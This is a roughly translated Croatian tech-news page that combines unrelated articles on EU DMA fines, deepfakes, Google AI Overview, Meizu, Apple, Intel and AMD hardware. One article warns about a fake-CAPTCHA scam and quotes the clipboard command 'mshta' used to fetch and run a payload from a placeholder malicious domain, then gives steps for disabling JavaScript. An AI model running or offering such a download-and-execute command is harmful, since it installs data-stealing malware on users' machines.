Apple i Meta mogli bi se suočiti s manjim novčanim kaznama zbog kršenja Zakona o digitalnim tržištima

Apple i Meta spremaju se dobiti relativno male kazne zbog navodnog kršenja Zakona o digitalnim tržištima Europske unije (DMA), zakona usmjerenog na ograničavanje moći velikih tehnoloških tvrtki i jačanje konkurencije. Prema izvorima upoznatim s tim pitanjem, Europska komisija više je usredotočena na to da se tvrtke pridržavaju pravila, a ne na izricanje velikih novčanih kazni, koje bi teoretski mogle doseći i do 10% njihovih globalnih godišnjih prihoda.

Navodna kršenja uključuju ograničenja tržišnog natjecanja koja su nametnule dvije tvrtke, kao što su problemi s digitalnim trgovinama i problemi s interoperabilnošću između platformi. Međutim, čini se da je relativno kratko razdoblje ovih kršenja – s obzirom na to da je DMA stupio na snagu tek 2023. – utjecalo na odluku Bruxellesa da izbjegne stroge kazne.

Još jedan razlog zašto se Europska komisija vjerojatno odlučuje za manje kazne je trenutna geopolitička klima. Prošlog mjeseca američki predsjednik Donald Trump zaprijetio je da će nametnuti carine zemljama koje kažnjavaju američke tvrtke. Ovo upozorenje, koje EU nije mogla ignorirati, pridonijelo je opreznijem rješavanju situacije EU-a. Iako EU dosljedno negira da se fokusira samo na američke tehnološke divove, politički pritisak odigrao je ulogu u njezinu umjerenijem pristupu.

Meta i Apple brane svoje stavove

Posljednjih tjedana i Meta i Apple podnijeli su izvješća o usklađenosti, osporavajući tumačenje Europske komisije o pravilima DMA-a. Meta je izjavila da je aktivno surađivala s europskim vlastima, ali je primila zahtjeve za prilagodbu koji nadilaze ono što zakon zahtijeva. Tvrtka, koju vodi Mark Zuckerberg, tvrdi da je napravila značajne promjene u svojim uslugama, ali vjeruje da su neki od regulatornih zahtjeva pretjerani i neopravdani.

Apple je, s druge strane, tvrdio da promjene koje zahtijeva DMA izlažu korisnike većim rizicima, kao što su zlonamjerni softver, prijevare i prijevare. Tvrtka je izrazila zabrinutost zbog sigurnosti i utjecaja koji bi nova pravila mogla imati na programere.

Deepfake je nova komunikacijska tehnologija u kojoj osoba jednostavno uzima dostupni tekst, slike, videozapise ili audio zapise, a zatim ih uređuje, odnosno ‘lažira’ ih kako bi izgledali poput drugih koristeći naprednu tehnologiju umjetne inteligencije (AI) i neuronske mreže (NN). Želite li uvrijediti svoje neprijatelje? Ili zamijeniti filmske protagoniste sa svojim omiljenim holivudskim superzvijezdama? Ili se samo želite natjerati da plešete poput Michaela Jacksona? Onda su deepfakeovi upravo ono što vam treba!
Nakon što se prvi put pojavila prije nekoliko godina, deepfake tehnologija evoluirala je od bezopasne varalice tehnološkog stručnjaka do zlonamjernog klevetničkog oružja. U ovom ćemo članku vidjeti kako funkcionira deepfake tehnologija, koje oblike poprima i kako možemo otkriti ili razbiti deepfake. Deepfake sadržaj eksponencijalno raste. Nažalost, deepfake tehnologija je mnogo puta korištena za stjecanje političke prednosti, narušavanje imidža protivnika ili počinjenje financijske prijevare.

Pogledajmo sada tri glavne vrste deepfakeova i istražimo znanost o podacima koja im omogućuje rad. Također ćemo se usredotočiti na tehnologije otkrivanja deepfakea na kojima rade sigurnosni istraživači i savjetnici kako bi suzbili korištenje deepfakeova sa zlonamjernom namjerom.

Deepfake tekst

U ranim danima umjetne inteligencije (AI) i obrade prirodnog jezika (NLP) smatralo se da će stroju biti izazovno obavljati kreativnu aktivnost poput crtanja ili pisanja. Još 2021.; S robusnim jezičnim modelima i knjižnicama izgrađenim tijekom godina povećanim radom istraživača i stručnjaka za znanost o podacima, najcjenjenija proza generirana umjetnom inteligencijom sada se može napisati s ljudskom sažetošću i koherentnošću.

S bibliotekama i moćnim jezičnim modelima, softverski alati pokretani umjetnom inteligencijom sada mogu sastavljati prozu s ljudskom koherentnošću i sažetošću. Primjerice GPT-2 – najnovija generacija sustava za generiranje teksta koji je objavio laboratorij OpenAI iz Silicijske doline, impresionirala je i obične ljude i profesionalce u tom području svojom sposobnošću generiranja koherentnog teksta s najmanje upita. OpenAI-jevi inženjeri koristili su više od 8 milijuna ogoljenih tekstualnih dokumenata (metoda izvlačenja relevantnih podataka s web stranica) i kombinirali s milijardu parametara za modeliranje i treniranje GPT-2 AI. Bit deepfakeova i drugih sličnih tehnologija kao što je duboko učenje, koje koristi umjetne tehnologije, leži u softveru za obuku da razmišlja i prilagođava se koristeći prošle podatke dobivene putem skupova podataka. Koristeći GPT-2, jednostavno upišete naslov, a algoritam deepfake teksta generirat će izmišljenu vijest oko tog naslova. Ili mu samo dajte prvi redak pjesme i vratit će cijeli stih. Mnogi mediji koriste deepfake algoritme u kombinaciji s tehnologijom indeksiranja weba za stvaranje priča ili blogova koje je napisao sam softver. Istraživači iz Centra za borbu protiv terorizma, ekstremizma i protuterorizma (CTEC) na Institutu za međunarodne studije Middlebury upozoravaju da bi se alati poput GPT-2 mogli zloupotrijebiti za širenje nadmoći ili širenje ekstremističkih poruka ekstremističkih organizacija.

Deepfakes na društvenim mrežama

Uz pisanje priča ili blogova, deepfake tehnologija također se može iskoristiti za stvaranje lažnog online profila koji je običnim korisnicima teško razlikovati. Na primjer, novinarka Bloomberga po imenu Maisy Kinsley na društvenim mrežama kao što su LinkedIn i Twitter vjerojatno je deepfake. Njezina profilna slika izgleda čudno, vjerojatno računalno generirana. Ovaj je profil možda stvoren radi financijske dobiti, budući da se profil Maisy Kinsley više puta pokušao povezati s kratkim prodavačima dionica Tesle na društvenim mrežama. Short selleri su ljudi koji su pesimistični u pogledu tržišta dionica i idu kratko, odnosno prodaju dionice u uvjerenju da će cijena dionice pasti, a zatim kupuju dionice po nižoj cijeni, u biti ostvarujući veliku zaradu. Drugi profil pod nazivom Katie Jones, koji se navodno odnosi na rad u Centru za strateške i međunarodne studije, utvrđeno je da je deepfake stvoren sa zlonamjernom namjerom špijunaže.

Otkrivanje tekstualnih deepfakeova

Istraživači s Allen Instituta za umjetnu inteligenciju razvili su softverski alat pod nazivom Grover za otkrivanje agregiranog sadržaja koji pluta na mreži. Istraživači tvrde da ovaj softver može otkriti eseje napisane pomoću deepfakeova u 92% slučajeva. Grover radi na skupu testova sastavljenih iz Common Crawla, web repozitorija i alata za indeksiranje otvorenog koda. Slično tome, tim znanstvenika s Harvarda i MIT-IBM-ovog laboratorija Watson zajednički su dizajnirali Giant Language Model Test Room, web alat koji ima za cilj razlikovati je li uneseni tekst generiran umjetnom inteligencijom.

Deepfake videozapisi

Stvaranje lažnih fotografija i videozapisa glavno je oružje deepfakea. Ovo je najčešće korišteni oblik deepfakea. Budući da živimo u svijetu popularnih društvenih medija, gdje slike i videozapisi bacaju svjetlo na događaje i priče bolje od običnog teksta. Moderna umjetna inteligencija za generiranje videa sposobnija je, a možda i opasnija, od one na prirodnom jeziku. Tehnološka tvrtka Hyperconnect sa sjedištem u Seulu nedavno je razvila alat pod nazivom MarioNETte koji može stvoriti deepfake videozapise povijesnih ličnosti, slavnih osoba i političara. To se postiže reprodukcijom lica druge osobe, a zatim će se izraz lica te osobe preklopiti na ciljnu osobnost koja će se stvoriti deepfake.

Kako se proizvode Deepfake videozapisi?

Ova video prijevara koristi tehniku koja se naziva generativne protivničke mreže (GAN). GAN su dio grane strojnog učenja koja se naziva neuronske mreže. Te su mreže dizajnirane da oponašaju neuronske procese ljudskog mozga. Programeri mogu trenirati neuronske mreže da prepoznaju ili manipuliraju određenim zadatkom. U GAN-u koji se koristi za stvaranje deepfakeova, dvije neuronske mreže postavljaju se jedna uz drugu kako bi se proizveo stvarni izlaz. Svrha ovoga je osigurati da stvoreni deepfakeovi izgledaju što realističnije. Bit GAN-ova leži u natjecanju između dvije neuronske mreže. U GAN-u, krivotvoritelj slika i detektor laži neprestano pokušavaju nadmašiti jedni druge. Obje neuronske mreže treniraju se pomoću istog skupa podataka.

Prva mreža, nazvana generator, ima zadatak stvoriti lažnu sliku pomoću vektora šuma (popis slučajnih brojeva) koji izgledaju što realističnije. Druga mreža, poznata kao diskriminator, određuje realizam proizvedenih slika. Uspoređuje lažne slike koje generira generator s originalnim slikama u skupu podataka kako bi utvrdio koje su slike stvarne, a koje lažne. Na temelju tih rezultata, generator mijenja parametar kako bi proizveo sliku. Ovaj se ciklus nastavlja sve dok diskriminator ne uspije identificirati generiranu sliku kao lažnu, koja se zatim koristi u konačnom izlazu. Zbog toga deepfakeovi izgledaju tako čudno.

Forenzički stručnjaci diljem svijeta rade na pronalaženju metoda i alata za prepoznavanje deepfake videozapisa, jer postaju sve uvjerljiviji. Kako alati za strojno učenje postupno stječu popularnost, postalo je mnogo lakše stvoriti uvjerljive lažne videozapise za širenje propagande ili jednostavno uznemiravanje ciljanog pojedinca.

Ministarstvo obrane SAD-a (DARPA) objavilo je alat za otkrivanje deepfake pod nazivom Media Forensics. U početku je program razvijen za automatizaciju postojećih forenzičkih alata, ali s porastom deepfakeova koristili su umjetnu inteligenciju za borbu protiv deepfakeova vođenih umjetnom inteligencijom.

Pogledajmo kako to funkcionira

Rezultirajući videozapis generiran deepfakeovima tehnički se značajno razlikuje u načinu na koji se isporučuju metapodaci videozapisa u usporedbi s izvornim metapodacima. Te su razlike poznate kao bljeskovi u matrici, što je ono što DARPA-in alat za otkrivanje deepfakea pokušava iskoristiti prilikom otkrivanja deepfake medija. Siwei Lyu, profesor računalnih znanosti na Državnom sveučilištu u New Yorku, primijetio je da lica stvorena pomoću deepfake tehnologije rijetko trepću. Čak izgledaju i neprirodno. To je pripisao činjenici da je većina videozapisa koji koriste deepfakeove obučena na statičnim slikama. Međutim, fotografije osobe obično se snimaju kada su joj oči otvorene. Osim treptanja, druge podatkovne točke o pokretima lica, kao što su kada se smiješe gornjoj usni tijekom razgovora, kako odmahuju glavom itd., također mogu pružiti naznake o tome je li video koji se emitira lažan ili ne.

Deepfake zvuk

Snaga umjetne inteligencije i neuronskih mreža nije ograničena na tekst, slike i videozapise. Oni mogu lako kopirati glas osobe. Sve što je potrebno je skup podataka glasovnih snimaka osobe čiji glas treba simulirati. Deepfake algoritmi će učiti iz tog skupa podataka i biti osnaženi za reprodukciju intonacije glasa ciljane osobe.

Komercijalni softver stiže na tržište poput Lyrebirda i Deep Voicea, u kojima trebate reći samo nekoliko rečenica prije nego što se AI navikne na vaš glas i intonaciju. Kada dodate vlastiti glas, ovaj softver postaje dovoljno moćan da kopira vaš glas. Nakon što unesete vlastiti skup podataka audio uzoraka, samo trebate smisliti rečenicu ili odlomak, a ovaj deepfake softver će pročitati tekst vašim glasom!

Audio Detection Trenutno nema mnogo namjenskih deepfake audio alata, ali programeri i tvrtke za kibernetičku sigurnost naporno rade na pronalasku boljih rješenja za zaštitu u tom pogledu. Na primjer, prošle su godine programeri u tehnološkom startupu Resemble razvili alat otvorenog koda pod nazivom Resemblyzer za otkrivanje deepfake audio isječaka. Resemblyzer koristi napredne algoritme strojnog učenja kako bi došao do računalnih prikaza uzoraka glasa kako bi predvidio jesu li stvarni ili lažni. Kad god korisnik pošalje audio datoteku na procjenu, generira matematički prikaz koji sažima jedinstvene karakteristike poslanog uzorka glasa. Kroz ovaj proces pretvorbe, stroj može otkriti je li glas stvaran ili umjetno generiran deepfake alatima.

Istraga koju su prošle godine proveli laboratoriji Deeptrace otkrila je da na internetu vreba više od 14.000 deepfake videa. Također su zabilježili povećanje proizvodnje od 84% u samo sedam mjeseci. Zanimljivo je da je više od 90% deepfake videa pornografski, u kojima poznate žene mogu zamijeniti lica.

Kada deepfakeovi dobivaju ozbiljnu pozornost, to predstavlja ozbiljan problem koji ne samo da narušava privatnost, već i narušava dostojanstvo pojedinca. Ironično, u borbi protiv deepfakeova pokretanih umjetnom inteligencijom koristi se umjetna inteligencija. Iako ‘dobra’ umjetna inteligencija pomaže u prepoznavanju deepfakeova, ovaj sustav otkrivanja uvelike se oslanja na skup podataka koji koristi za obuku. To znači da mogu dobro funkcionirati za otkrivanje deepfake videozapisa slavnih osoba, jer je o njima dostupna velika količina podataka. Ali otkrivanje deepfakea od strane osobe niskog profila bit će izazov za takve sustave otkrivanja.

Tehnološke tvrtke društvenih medija također rade na sustavima za otkrivanje deepfakea. Facebook je nedavno objavio da radi na automatiziranom sustavu za prepoznavanje deepfake sadržaja na svojoj platformi i njegovo uklanjanje. Isto tako, Twitter predlaže označavanje deepfakeova i njihovo uklanjanje ako se utvrdi da su provokativni. Iako prepoznajemo i cijenimo napore ovih tehnoloških tvrtki, samo će vrijeme pokazati koliko su uspješne u zaustavljanju zlonamjernih deepfake videozapisa!

Google se nekoć smatrao simbolom inovacija u tehnološkoj industriji, posebno u području pretraživanja web sadržaja. S ambicijom da dosegne nove visine, Google je uložio u mnoga različita područja, čak i vrlo hrabro. Međutim, korisnici Google pretraživanja danas mogu biti u opasnosti ako vjeruju u dezinformacije iz umjetne inteligencije (AI) tvrtke, točnije AI Overview – novu verziju pretraživanja koja redovito pruža strojno generirane informacije.

Obmanjujuće povratne informacije Google pretraživanja na temelju pregleda umjetne inteligencije

Nedavno je suosnivač Googlea Sergey Brin dospio na naslovnice potičući zaposlenike da rade 60 sati tjedno na razvoju AI proizvoda. To se događa u kontekstu da je AI Overview više puta dao pogrešan odgovor. Na primjer, izvjestitelj BGR-a pitao je AI Overview: “Je li ovo 2025.?”. Međutim, ova umjetna inteligencija samouvjereno je tvrdila da je “Trenutna godina 2024.”, iako je citirala članak na Wikipediji s proturječnim sadržajem. Ovaj incident pokazuje da Googleova umjetna inteligencija nije samo netočna, već pokazuje i znakove plagijata.

Google pretraživanje postaje sve gore i gore

U prošlosti je Google pretraživanje bilo poznato kao moćna tražilica, sposobna pružiti točne informacije iz najjednostavnijih pitanja. Sada se čini da je postao nepouzdan izvor informacija, s lažnim i netočnim odgovorima. To rezultira time da trećina korisnika weba više ne koristi Google kao prije.

Jedan od glavnih razloga ovog pada nije konkurencija drugih tražilica, već zato što je Google zaboravio temeljne vrijednosti koje su ga učinile uspješnim. Tvrtka je prešla s platforme koja potiče znatiželju na strojni sustav samo da bi se usredotočila na održavanje monopolske pozicije.

Google želi prestati koristiti SMS kontrolni kod prilikom kreiranja Gmail računa

Google ažurira svoje smjernice za umjetnu inteligenciju, više ne zabranjujući njegovu upotrebu za razvoj oružja i nadzor!?

Google lansira Gemini 2.0 Flash, a dostupna je i besplatna verzija

Otprilike 1/3 korisnika više ne koristi Google pretraživanje kao prije​

Kritika Sergeja Brina na račun zaposlenika zbog nedovoljnog rada čini se kao pokušaj okrivljavanja pogrešnog mjesta. Pravi problem leži u vodstvu. Ako Google zaostaje na polju umjetne inteligencije, odgovornost leži na glavama, a ne na zaposlenicima. Treba imati na umu da je sam Google potrošio milijarde dolara na razvoj svojih AI alata.

Otkako su Sergey Brin i Larry Page odstupili s mjesta izvršnih direktora 2019. godine, Google se transformirao iz inovativne tvrtke u birokraciju nesklonu riziku. Pod vodstvom Sundara Pichaija, Google je sporo razvijao umjetnu inteligenciju, iako tvrtka posjeduje mnoge temeljne tehnologije. Ako Sergey Brin želi saznati zašto je Google izgubio prednost, trebao bi se zapitati sebe i Larryja Pagea zašto su tvrtku predali privremenom izvršnom direktoru umjesto da se nastave boriti za oblikovanje vlastite budućnosti

U kontekstu brendova pametnih telefona koji dijele “kolač” tržišnog udjela, što planira Meizu?

Meizu, kineski brend pametnih telefona, upravo je najavio da će imati službeni “povratak” na globalno tržište nakon razdoblja odsutnosti. Ovaj povratak pomaže korisnicima da imaju više novih opcija u segmentima niskih troškova i srednje klase, kao i pokazuje inovaciju u Meizuovoj proizvodnoj i tehnološkoj strategiji otkako su ga kupili DreamSmart i Geely.

Koja je marka Meizu?

Meizu je osnovan 2003. godine, u početku specijaliziran za proizvodnju MP3 i MP4 playera. Do 2008. tvrtka je prešla na proizvodnju pametnih telefona s modelom Meizu M8. U Vijetnamu je Meizu počeo privlačiti pozornost oko 2015. godine predstavljanjem proizvoda kao što su Meizu M2 Note, Meizu MX5 i Meizu M2. Konkretno, Meizu Pro 6, jedan od prvih pametnih telefona na svijetu koji koristi 10-jezgreni procesor, i to u 2016. godini. Međutim, kasnije, zbog žestoke konkurencije i promjena u poslovnoj strategiji, Meizu se postupno povukao s globalnog tržišta.

Povratak i nova strategija

Nakon razdoblja fokusiranja na AI tehnologiju, Meizu je svoj povratak na globalno tržište obilježio na Svjetskom sajmu mobilnosti (MWC) 2025. u Barceloni u Španjolskoj. Na događaju je Meizu predstavio ekosustav Flyme AI, koji uključuje proizvode kao što su pametni telefoni, pametne naočale i pametni automobili. Meizuova strategija globalizacije ostvarila je značajan napredak, s prisutnošću u više od 30 zemalja i regija diljem Azije i Pacifika, Latinske Amerike, Bliskog istoka, središnje Azije i Europe.

Meizu 21 PRO – uređaj sutrašnjice za AI eru

Može li Meizu ponovno postati konkurentan

Meizu ima pametni telefon s potpuno bijelim zaslonom

Ranije u Kini, Meizu je predstavio model Lucky 08. Ovo je novi model pametnog telefona iz Meizua opremljen 6.78-inčnim 1.5K LTPO AMOLED zaslonom, brzinom osvježavanja od 144 Hz i maksimalnom svjetlinom od 5.000 nita. Uređaj koristi Snapdragon 7s Gen 2 procesor, do 12 GB RAM-a i do 512 GB interne memorije. Glavna kamera od 108 MP, selfie kamera od 8 MP, baterija od 6,000 mAh podržava brzo punjenje od 45 W. Radeći na platformi Flyme AIOS, uređaj integrira mnoge inteligentne AI značajke kao što su pomoćnik za pozive, AI pretraživanje, pomažući u poboljšanju korisničkog iskustva. Ovaj se model prodaje s početnom cijenom od 1,599 juana. Očekuje se da će Meizu lansirati novi vodeći model, Meizu 22, u travnju 2025., obećavajući da će korisnicima donijeti napredne tehnologije i vrhunsko iskustvo.

U eri kada je internet u svakom kutku Zemlje, prevaranti postaju sve kreativniji u pokušaju da prevare korisnike. U posljednje vrijeme sve se više napada događa putem nečega s čime su korisnici interneta previše upoznati: CAPTCHA.

Akronim za “Potpuno automatizirani javni Turingov test za razlikovanje računala i ljudi”, CAPTCHA je mehanizam koji pomaže online uslugama da ograniče automatizirane posjete, što može iscrpiti poslovne resurse. Jednostavnije rečeno, CAPTCHA su prepreke koje sprječavaju stalni pristup automatiziranom softveru, što može uzrokovati zagušenje mreže. To je jednostavan alat za razlikovanje stvarnih korisnika i softvera s automatskim pristupom. Vrlo je raznolika: ponekad utipkate redak znakova koji su malo izmijenjeni, ponekad utipkate slagalicu tako da se podudara, ponekad tražite od korisnika da označi mačke, bicikl ili semafore.

U pokušaju krađe korisničkih podataka, neki su prevaranti stvorili novu vrstu zlonamjerne CAPTCHA. Kada korisnik želi pristupiti stranici sa sadržajem kao što su filmovi, glazba, dijeljenje slika ili članci, pojavit će se poruka na sljedeći način:

Ova CAPTCHA je previše poznata: označite prazno polje kako biste potvrdili da “Ja nisam robot” – Međutim, nakon označavanja praznog okvira, korisnik će biti preusmjeren na novu adresu, prikazujući sadržaj koji zahtijeva da korisnik slijedi upute. Mnogi će korisnici biti prevareni ovim “naizgled bezopasnim” uputama, a ako ih slijede, korisnikov Windows uređaj preuzet će zlonamjerne datoteke na stroj.

Kako korisnici bivaju prevareni?

Web stranica koju je korisnik upravo posjetio kopirat će kratki dio teksta u predmemoriju uređaja (slično kao kada pritisnete Ctrl+C). Dio kopiranog/zalijepljenog sadržaja izgleda ovako:

mshta https://{ zlonamjerna domena}/media.file

U sustavu Windows “mshta” je naredba koja izvršava benignu datoteku pod nazivom mshta.exe, ali u ovom slučaju naredba će učitati i pokrenuti zlonamjernu datoteku preuzetu s druge domene. Zapravo, ove su datoteke šifrirane Powershell naredbom koja se pokreće u pozadini u sustavu i preuzima zlonamjerni kod. U nekim od testiranih slučajeva, naredba mashta preuzela je zlonamjernu datoteku, a zlonamjerna datoteka nastavila je preuzimati softver za krađu podataka na stroj.

Kako spriječiti ovaj napad?

Prije svega, moramo biti oprezni kada koristimo internet, posebno kada su zamke sve sofisticiranije. Ne slijedite sumnjive upute na Internetu, kako ne biste dobili povorku zlonamjernih datoteka na svoje računalo. Govoreći o uputama, usput, sljedeći koraci pomoći će vam da onemogućite JavaScript na nekim izvornim preglednicima Chromiuma. U osnovi, web stranica može sama kopirati tekst u predmemoriju zahvaljujući JaveScript funkciji koja se zove document.execCommand(‘copy’). Onemogućavanje JavaScripta može ograničiti napade na ovaj način, ali može uzrokovati da neke web stranice koje još uvijek koristite ne funkcioniraju ispravno.

Evo kako onemogućiti JavaScript za neke popularne preglednike.

CHROME

1. Otvorite Chrome i kliknite na ikonu s tri točke u gornjem desnom kutu.

2. Odaberite Postavke s padajućeg izbornika.

3. Na lijevoj bočnoj traci kliknite Privatnost i sigurnost .

4. Odaberite Postavke web-mjesta .

5. Pomaknite se prema dolje do odjeljka Sadržaj i kliknite JavaScript .

6. Odaberite Ne dopuštaj web-mjestima upotrebu JavaScripta.

7. Također možete dodati određene web stranice na popis blokiranja ili dopuštenih klikom na svaku od odgovarajućih stavki.

MICROSOFT EDGE

1. Otvorite Microsoft Edge i kliknite na ikonu s tri točke u gornjem desnom kutu.

2. Odaberite Postavke s padajućeg izbornika.

3. Na lijevoj bočnoj traci kliknite Kolačići i dopuštenja web stranice.

4. Pomaknite se prema dolje do odjeljka Sva dopuštenja i odaberite JavaScript.

5. Okrenite prekidač da biste onemogućili JavaScript.

6. Također možete upravljati JavaScriptom za svaku stranicu tako da ih dodate na popis Blokiraj ili Dopusti.

FIREFOX

1. Upišite about:config u traku za pretraživanje, odaberite Preuzmite rizik i nastavite .

2. Upišite javascript.enabled u okvir za pretraživanje na vrhu stranice.

3. Kliknite na opciju javascript.enabled da biste promijenili vrijednost u false (onemogućite JavaScript).

OPERA

1. Otvorite Operu i kliknite ikonu Postavke.

2. Odaberite Privatnost

3. Kliknite Postavke web-mjesta .

4. Odaberite JavaScript opciju.

5. Odaberite Ne dopuštaj web-lokacijama upotrebu JavaScripta da biste onemogućili JavaScript na svim stranicama.

6. Da biste onemogućili JavaScript za određene stranice, kliknite Dodaj u odjeljku JavaScript nije dopušteno, a zatim unesite URL web stranice.

Apple je najavio novu verziju Mac Studija, Appleovog najmoćnijeg modela Mac računala. Opremljen je čipovima M4 Max i M3 Ultra. Nova generacija Mac Studija obećava pružanje izvanrednih performansi za profesionalne korisnike, posebno u zadacima koji zahtijevaju grafičku obradu i umjetnu inteligenciju (AI).

Kompaktan, ali moćan dizajn

Mac Studio zadržava svoj kompaktni oblik, ali je optimiziran za podršku većoj procesorskoj snazi. S učinkovitim dizajnom odvođenja topline, uređaj radi glatko čak i pri teškim zadacima. Proizvod također integrira napredne priključke za povezivanje kao što je Thunderbolt 5, koji podržava brzine prijenosa do 120 Gb/s, 3 puta brže od Thunderbolt 4 standarda.

Revolucionarne performanse s čipovima M4 Max i M3 Ultra

Verzija Mac Studio s M4 Max uključujući do 16-jezgreni CPU, do 40-jezgreni GPU i do 128 GB objedinjene memorije (RAM-a). Prema Appleu, Mac Studio s M4 Max je do 3.5 puta brži od generacije Mac Studio s M1 Maxom i 6 puta brži od 27-inčnog iMaca s Intel Core i9. U međuvremenu, Mac Studio s M3 Ultra optimalan je izbor za teške profesionalne zadatke kao što su AI, 8K video montaža ili 3D simulacija. M3 Ultra čip ima 32-jezgreni CPU, 80-jezgreni GPU, podržava do 512 GB objedinjene memorije i propusnost memorije od 800 GB/s. Prema Appleu, Ova verzija je 2.6 puta snažnija od Mac Studija s M1 Ultra i 6.4 puta brža od Mac Pro koji koristi Intel Xeon W. Mac Studio s M3 Ultra može pokretati velike jezične modele (LLM) sa stotinama milijardi parametara izravno u memoriji, pomažući u optimizaciji AI zadataka izravno na uređaju. Ovo je najveća količina memorije ikada dostupna na osobnom računalu.

Vlada Ujedinjenog Kraljevstva traži od Applea da otvori “stražnja vrata” za iCloud šifrirane podatke

Sav profit ostvaruje Apple! Prosječni cjenik proizvođača mobilnih telefona za 2024.

Apple postavlja rekord prihoda unatoč padu prodaje iPhonea

Ostale istaknute značajke

Novi Mac Studio podržava do 8 Pro Display XDR zaslona u 6K razlučivosti, što pomaže u optimizaciji radnih prostora za kreatore sadržaja. Uređaj također ima opciju SSD pogona do 16TB, što je dovoljno za pohranu više od 12 sati 8K ProRes videa.Osim toga, Mac Studio je također optimiziran za podršku skupu značajki Apple Intelligence, Appleovog osobnog AI sustava koji pomaže poboljšati radne performanse i zaštititi privatnost korisnika.

Informaciju iz naslova je otkrio John Pitzer, potpredsjednik korporativne strategije i odnosa s javnošću u Intelu, tijekom nedavne konferencije Morgan Stanley Technology. Sukladno tome, tvrtka je u prošlosti planirala smanjiti svoju ovisnost o TSMC-u. Ali za sada ta strategija više nije relevantna.

“Sjećam se da smo prije otprilike godinu dana razgovarali o smanjenju opskrbe iz TSMC-a na nulu što je prije moguće. Ali ovaj plan više ne postoji. Trenutno smatramo da je dobro isporučiti barem određenu količinu pločica TSMC-u. Oni su izvrstan dobavljač. Ovaj pristup stvara zdravu konkurenciju između njih i Intel Foundryja.”

S obzirom na to, Intel Foundry se sada smatra “partnerom”. Sami Intelovi proizvodi u rangu su s TSMC-om ili Samsung Foundryjem ili bilo kojim drugim procesorom. Ovo gledište predstavlja vrlo ključnu promjenu u strateškoj viziji x86 čip korporacije. Ovo razmišljanje je 180 stupnjeva unatrag od razdoblja kada je Intel još uvijek vodio Pat Gelsinger. Bivši izvršni direktor Intela također je postavio cilj postati drugi najveći proizvođač poluvodičkih procesora na svijetu, nakon TSMC-aAli sada Intel postupno slijedi put koji je AMD jednom odabrao – premještanje outsourcinga iz Globalfoundriesa u TSMC.

Ali to ne znači da će Intel “ugovoriti sve čipove” sa TSMC-pm. Oko 30% bit će isporučeno tajvanskim partnerima, ostatak tvrtke je i dalje “autonoman”. “Nije jasno koji je točan broj narudžbe. 20%? Ili 15%? Još uvijek finaliziramo cilj. Ali koristit ćemo, po mom mišljenju, druge vanjske dobavljače u ovoj novoj strategiji”, dodao je John.

Intel pod pritiskom: TSMC i Broadcom razmišljaju o kupnji različitih odjela

Intel optužuje AMD za ‘nedostatak odgovornosti’ u popravljanju sigurnosnih propusta čipova

Otkriveni su Intelovi planovi za Nova Lake čipove sljedeće generacije

Bill Gates: Intel je “izgubio svoj put u pogledu dizajna čipa i procesorske snage

Razumljivo je da Intel ne isporučuje sve čipove drugim tvrtkama na obradu. Prije svega, nema jamstva da će TSMC imati dovoljno proizvodnje da zadovolji potrebe ove tvrtke. Imajte na umu da je AMD svu svoju proizvodnju čipova stavio u ruke TSMC-a i tvrtka nije uspjela popuniti distribucijske kanale, pa je korisnicima još uvijek teže kupiti Ryzen prijenosna računala nego Intel Core. Osim toga, angažiranje TSMC-a definitivno je bolji novac od vlastite proizvodnje, smanjujući maržu profita. U posljednjem financijskom izvještaju za Q4, iako se gubitak značajno smanjio (u usporedbi s Q3 2024.), profitna marža je manja od 40%. Ovo je rekordno nizak broj tvrtke već desetljećima!

Panther Lake se obrađuje na Intel 18A

Trenutno Intel angažira TSMC samo za obradu čipova koji se koriste na liniji proizvoda Core 100/200. To su u osnovi proizvodi s “niskom” vrijednošću u usporedbi sa skupim Xeon čipovima. Općenito, motiv koji se ovdje može vidjeti je da Intel koncentrira proizvodnju na proizvode visoke vrijednosti i outsourca kako bi napravio proizvode s nižim troškovima. Iako generacija čipova Panther Lake Core 300 možda neće slijediti ovaj motiv dugoročno bi se ovisnost o TSMC-u trebala nastaviti.

Na Embedded World 2025. sajmu, AMD je najavio proširenje svog portfelja ugrađenih x86 procesora uvođenjem pete generacije AMD EPYC ugrađenog CPU-a.

Pokretani dokazanom “Zen 5″ arhitekturom, AMD EPYC Embedded 9005 Series CPU-ovi isporučuju vrhunske performanse, učinkovitost i dug životni ciklus proizvoda za umrežavanje, pohranu i industrijska tržišta.

CPU serije AMD EPYC Embedded 9005 optimizirani su za ugrađena tržišta, s vrhunskim računalnim mogućnostima u kombinaciji s namjenski ugrađenim značajkama, uključujući:

• Neusporediva gustoća jezgri: Do 192 jezgre u jednom socketu, nadmašujući konkurenciju i omogućujući ogromnu skalabilnost.

• Vodeća izvedba: Nadmašuje Intel Xeon u ključnim testovima, pružajući brži protok podataka za radna opterećenja mreže i pohrane

• Produljeni životni vijek: bogat skup ugrađenih značajki dizajniranih za produljenje životnog ciklusa proizvoda i otpornosti sustava za ugrađena tržišta

Cisco i IBM među prvim su tehnološkim partnerima koji su usvojili petu generaciju AMD EPYC ugrađenih procesora za pogon platformi sljedeće generacije.

Saznajte više o AMD EPYC ugrađenim procesorima 5. generacije na stranici proizvoda ovdje .

Philips Monitors predstavlja svoj prvi monitor s TCO certifikatom 10. generacije – Philips 34B2U3600C, a zakrivljeni 34” VA zaslon s USB-C priključnom stanicom nudi visoke performanse uz održiv dizajn.

Philips 34B2U3600C potvrđuje fokus Philips Monitorsa na održivost, ispunjavajući globalne ekološke standarde i odgovarajući na rastuću potražnju za održivim proizvodima. TCO Certified 10. generacija globalni je certifikat za IT proizvode koji obuhvaća ekološke, društvene i kriterije kružnog gospodarstva. Uz to, Philips Monitors uvodi petogodišnje jamstvo za ovaj model, čime doprinosi smanjenju ekološkog otiska produženjem vijeka trajanja proizvoda.

Ukratko, glavne značajke Philips 34B2U3600C monitora su:

• 34” zakrivljeni zaslon za ugodno i uranjajuće iskustvo
• VA panel s WQHD rezolucijom i 1.07 milijardi boja za bogatu i životopisnu sliku
• Ugrađeni 5W zvučnici za jednostavne video pozive
• USB-C priključna stanica s 90W napajanja i RJ45 priključak za sigurnu mrežnu vezu
• TÜV Rheinland Eyesafe certifikat i SoftBlue tehnologija za zaštitu očiju
• Ergonomsko postolje s podešavanjem visine, nagiba i zakretanja za veću udobnost
• SmartKVM funkcija za brzo prebacivanje između izvora putem tipkovničke prečice
• MultiView opcija za istovremeno spajanje i prikaz dvaju izvora

Philips 34B2U3600C bit će dostupan za kupnju po preporučenoj maloprodajnoj cijeni od 439,00 €.

